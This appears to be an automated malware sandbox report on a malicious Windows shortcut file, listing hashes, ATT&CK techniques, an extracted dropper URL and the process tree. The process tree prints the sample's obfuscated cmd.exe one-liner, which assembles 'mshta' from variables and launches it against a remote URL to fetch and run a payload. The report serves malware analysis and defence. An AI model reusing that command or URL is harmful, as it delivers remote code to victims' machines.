b440ae4557462d46ef0dc9db759ac75772a30ff43385cfa119a91b311553f00f

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:39

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General

Target
DOC-SU85YE.lnk
Size 1KB
Sample260804-kksvgswbjd
SHA256 b440ae4557462d46ef0dc9db759ac75772a30ff43385cfa119a91b311553f00f
MD5 2afd97ec87f4a268d7f082b79adc3862
SHA1 3823fcb81fafe2b33a46d6583ddf00f1a18896c3
SHA512 0f86ce49d2a76518a1e4fe8d535f7d929e6247661989b1adc61c0e9181cda965bfc24eff53d1e6591fa8948a9faa4a4ccb187c3af13a5cef5b8d7991f476cf39
TLSH
T1F53147502FED0624F3B78F7694BB572485BAB9AA8E20C62D0141454C5062A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3460	cmd.exe
1556	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3460 wrote to memory of 1556	3460	cmd.exe	90
PID 1556 wrote to memory of 4860	1556	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SU85YE.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3460
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set LsX=msh&&set vg=ta&&start "" !LsX!!vg! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4860

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads